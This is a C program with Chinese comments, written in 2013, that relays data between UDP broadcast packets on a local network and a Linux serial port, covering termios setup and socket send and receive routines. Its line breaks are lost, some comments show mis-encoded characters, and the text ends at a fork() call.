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//************该程序实现的UDP数据和串口数据的转化**********************///时间:2013/7/30//作者:田子#include<stdlib.h>#include<stdio.h>#include<errno.h>#include<string.h>#include<netdb.h>#include<sys/types.h>#include<netinet/in.h>#include<sys/socket.h>#include<arpa/inet.h>#include<unistd.h>#include<sys/stat.h>#include<fcntl.h>#include<termios.h>#include<sys/wait.h>#define PORT 61557 //远端主机端口号#define BROADCASTPORT 8003 //本地端口号#define BUF_SIZE 100 //定义UDP数据发送的长度#define FALSE -1#define TRUE 0/***@bref 设置串口通信速率*@param fd 类型 int 打开串口文件的句柄*@param speed 类型 int 串口速度*@return void*/int speed_arr[] = {B115200, B38400, B19200, B9600, B4800, B2400, B1200, B300,B38400, B19200, B9600, B4800, B2400, B1200, B300, };int name_arr[] = {115200,38400, 19200, 9600, 4800, 2400, 1200, 300, 38400, 19200, 9600, 4800, 2400, 1200, 300, };void set_speed(int fd, int speed){int i;int status;struct termios Opt;tcgetattr(fd, &Opt);for ( i= 0; i < sizeof(speed_arr) / sizeof(int); i++) {if (speed == name_arr[i]) {tcflush(fd, TCIOFLUSH);cfsetispeed(&Opt, speed_arr[i]);cfsetospeed(&Opt, speed_arr[i]);status = tcsetattr(fd, TCSANOW, &Opt);if (status != 0) {perror("tcsetattr fd");return;}tcflush(fd,TCIOFLUSH);}}}/***@bref 设置串口数据位,停止位和校验位*@param fd 类型 int 打开串口文件的句柄*@param databits 类型 int 数据位取值为7或8*@param stopbits 类型 int 停止位取值为1或2*@param parity 类型 int 校验位取值为N,E,O,S*@return void*/int set_Parity(int fd,int databits,int stopbits,int parity) {struct termios options;if ( tcgetattr( fd,&options) != 0) {perror("SetupSerial 1");return(FALSE);}options.c_cflag &= ~CSIZE;options.c_iflag &= ~INPCK;options.c_iflag |= IGNBRK;options.c_iflag &= ~ICRNL;options.c_iflag &= ~IXON;options.c_lflag &= ~IEXTEN;options.c_lflag &= ~ECHOK;options.c_lflag &= ~ECHOCTL;options.c_lflag &= ~ECHOKE;options.c_oflag &= ~ONLCR;switch (databits) /*ÉèÖÃÊýŸÝλÊý*/{case 7:options.c_cflag |= CS7;break;case 8:options.c_cflag |= CS8;break;default:// fprintf(stderr,"Unsupported data size\n");return (FALSE);}switch (parity){case 'n':case 'N'://options.c_cflag &= ~PARENB; /* Clear parity enable *///options.c_iflag &= ~INPCK; /* Enable parity checking */options.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG);options.c_oflag &= ~OPOST; /*Output*/break;case 'o':case 'O':options.c_cflag |= (PARODD | PARENB); /* ÉèÖÃΪÆæЧÑé*/options.c_iflag |= INPCK; /* Disnable parity checking */break;case 'e':case 'E':options.c_cflag |= PARENB; /* Enable parity */options.c_cflag &= ~PARODD; /* ת»»ÎªÅŒÐ§Ñé*/options.c_iflag |= INPCK; /* Disnable parity checking */break;case 'S':case 's': /*as no parity*/options.c_cflag &= ~PARENB;options.c_cflag &= ~CSTOPB;break;default:// fprintf(stderr,"Unsupported parity\n");return (FALSE);}/* ÉèÖÃֹͣλ*/switch (stopbits){case 1:options.c_cflag &= ~CSTOPB;break;case 2:options.c_cflag |= CSTOPB;break;default:// fprintf(stderr,"Unsupported stop bits\n");return (FALSE);}/* Set input parity option */if ((parity != 'n')&&(parity != 'N'))options.c_iflag |= INPCK;tcflush(fd,TCIFLUSH);options.c_cc[VTIME] = 150; /* ÉèÖó¬Ê±15 s econds*/options.c_cc[VMIN] = 0; /* Update the options and do it NOW */if (tcsetattr(fd,TCSANOW,&options) != 0){// perror("SetupSerial 3");return (FALSE);}return (TRUE);}/***@bref 打开串口*@param Dev 类型 char 串口号*@return int 返回串口的句柄*/int OpenDev(char *Dev){int fd = open( Dev, O_RDWR|O_NOCTTY|O_NONBLOCK ); //以读写方式打开串口,IO操作为非阻塞模式if (-1 == fd){// perror("Can't Open Serial Port");return -1; //若打开失败,返回-1}elsereturn fd;}/***@bref 从外界接收UDP包*@param change 类型 unsigned char 储存UDP接收进来的数据*@return 返回接收到数据的长度*/int udp_broadcast_service(unsigned char *change){int castsockfd, connfd;int optval;int client_len;int revc;struct sockaddr_in serv_addr, client_addr;if ( (castsockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0 ) //创建套接字socket{// perror("sockfd error!\n");exit(1);}//******配置本地信息,包括端口号,IP,和协议族(一般为AF_NET,表示UNIX网络套接字) memset( &serv_addr, 0, sizeof(struct sockaddr_in) ); //把serv_addr的所有字节设置成字符serv_addr.sin_family = AF_INET; //表示UNIX网络套接字serv_addr.sin_port = htons( BROADCASTPORT ); //设置本地端口号 htons()表示把16位从主机字节序转换成网络字节序serv_addr.sin_addr.s_addr = htons( INADDR_ANY ); //INADDR_ANY使用自己的IP 地址fcntl(castsockfd,F_SETFL,O_NONBLOCK);if ( bind(castsockfd, (struct sockaddr *)&serv_addr, //调用bind函数将本地信息与socket相关连sizeof(struct sockaddr)) < 0 ){// perror("bind failed!\n");exit(1);}client_len = sizeof( struct sockaddr_in );while((revc=recvfrom(castsockfd, change, BUF_SIZE, 0, //接收UDP 数据包(struct sockaddr *)&client_addr,&client_len))<=0){if(getppid()==1) //父进程死亡,子进程退出exit(1);}close( castsockfd ); //关闭套接字return revc; //返回数据长度}/***@bref 从向外发送UDP广播包*@param send_buf 类型 unsigned short int 储存UDP要发送的数据*@param t 类型 int 数据包的长度*@return 返回接收到数据的长度*/int send_broadcast(unsigned char *send_buf,int t){int client_sockfd;int optval;struct sockaddr_in serv_addr;if ( (client_sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0 ) //创建套接字socket{// perror("sockfd error!\n");exit(1);}optval = 1;//**********当一个套接字已经打开但尚未有连接的时候用setsockopt()系统调用在其上设定选项if ( setsockopt(client_sockfd, SOL_SOCKET, SO_BROADCAST,(void *)&optval, sizeof(int)) < 0 ){// perror("setsockopt error!\n");exit(1);}memset( &serv_addr, 0, sizeof(struct sockaddr_in) ); //把serv_addr 的所有字节设置成字符serv_addr.sin_family = AF_INET; //表示UNIX网络套接字serv_addr.sin_port = htons( PORT ); //远端主机端口号 serv_addr.sin_addr.s_addr = inet_addr("192.168.1.255"); //表示发送的是广播包if ( sendto(client_sockfd, send_buf, t, 0,(struct sockaddr *)&serv_addr,sizeof(struct sockaddr)) < 0 )//广播包每次发一个字节{// perror("send failed!\n");exit(1);}close( client_sockfd ); //关闭套接字return 0;}int main(){pid_t pid,id;int fd;int nread,nwrite;int i=0,sum=0,recv_c=0;unsigned char readbuff[100]; //定义串口在内存中接收的缓冲区unsigned char buff[100]; //将缓冲接收的串口数据放到buff里unsigned char check[100]; //存放udp接收的数据char *dev = "/dev/ttyS0";fd = OpenDev(dev); //打开串口set_speed(fd,57600); //设置波特率为57600if (set_Parity(fd,8,1,'N') == FALSE) //设置校验,数据位,停止位 {exit (1);}pid=fork(); //建立新的进程。